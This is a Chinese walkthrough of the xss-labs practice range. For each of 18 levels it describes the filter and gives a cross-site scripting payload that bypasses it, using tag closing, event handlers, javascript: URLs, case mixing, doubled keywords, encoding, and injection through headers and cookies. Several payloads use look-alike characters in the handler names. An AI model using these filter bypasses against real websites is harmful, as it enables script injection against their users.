---

以下环境由开源靶场xss-labs搭建

0x001 输入参数无任何过滤

没有对用户输入内容进行任何的过滤

payload

<script>alert(/xss/)</script>

0x002 标签闭合

payload

"><script>alert(/xss/)</script>  // 双引号闭合value的双引号，> 闭合input标签

0x003 对<>进行了实体编码

查看源代码

对<>进行了过滤

1）构造标签事件

payload

'οnclick='alert(/xss/)  // 第一个引号闭合value，第二个引号原有后面的引号

点击输入框后，触发onclick事件

2）构造事件onmouseover，javascript:伪协议

payload

'οnmοuseοver='javascript:alert(/xss/)

0x004 对<>替换为空

1）构造onclick事件

payload

"οnclick="alert(/xss/)

2）构造事件onmouseover，javascript:伪协议

payload

'οnmοuseοver='javascript:alert(/xss/)

0x005 对script进行过滤，没有对<>和javascript进行过滤

对script进行了过滤，但是并未对尖括号进行过滤。

利用没有过滤尖括号，构造a标签再尝试利用a标签的href属性执行javascript:伪协议，"><a href='javascript:alert(1)'>,没有对javascript进行过滤，触发xss

payload

"><a href='javascript:alert(1)'>

0x006 大小写混写

经测试替换了script，on，没有过滤<>。构造a标签，利用href属性支持javascript:伪协议构造poc，后台对href关键字进行替换，尝试采用大小写混写进行了绕过

payload

"ONCLICK="alert(/xss/)

0x007 关键字双写

经测试对script/on大小写替换为空

关键字双写进行绕过

payload

"> <a hrhrefef='javascriscriptpt:alert(/xss/)'>

0x008 编码绕过

利用href属性支持javascript:伪协议构造poc,javascript关键字被替换。尝试大小写，重复写，无法进行绕过。

编码绕过

payload

javascript:alert(/xss/)

编码工具

0x009 编码+检查字段绕过

查看源码

输入内容中必须包含http://

payload

javascript:alert(/xss/)//http://www.baidu.com       // 注释后面的内容

0x010 隐藏表单

过滤了尖括号，尝试编码不能绕过，无法构造事件触发xss、无法利用属性的javascript协议

t_sort变量返回在了html的value属性中，尝试绕过

payload

"type="text" οnclick="alert(1)"

0x011 referer存在注入点

图中value属性值为referer值

burpsuite抓包后请求头中新增referer，参数为payload

放包后界面会出现input框，点击触发xss

payload

" type="text" οnclick="alert(1)"

0x012 user-agent存在注入点

点击input框触发xss

payload

" type="text" οnclick="alert(1)"

0x013 cookie存在注入点

抓包进行修改

点击input框触发xss

0x014 iframe存在注入点

0x015 img标签引入错误的src路径触发onerror事件

根据返回的源代码判断，变量src存在注入点

输入的内容被插入到了html中

angular.min.js用于文件包含

ng-include本地文件包含，调用本地有xss漏洞的文件，这里我们包含第一关的页面


这里选择使用img标签中引用错误的src路径触发onerror事件达到xss攻击效果

构造payload

level15.php?src='level1.php?name=<img src=x οnerrοr=alert(/XSS/)>'

0x016 %0a换行符绕过

对script和/script进行了过滤

采用换行符%0a进行绕过,触发xss。

payload

<a%0atype="text"%0aonclick="alert(111)">

0x017 支持swf 闭合标签

payload

level17.php?arg01=a&arg02="> onmouseover=alert()

0x018 onmouseover

根据返回的源代码判断，arg01和arg02存在注入点，大小于号被替换了，但是其他的关键字就不会进行替换

payload

' > onmouseover=alert(1)

参考文章：https://www.cnblogs.com/xiaomeng2333/p/11595786.html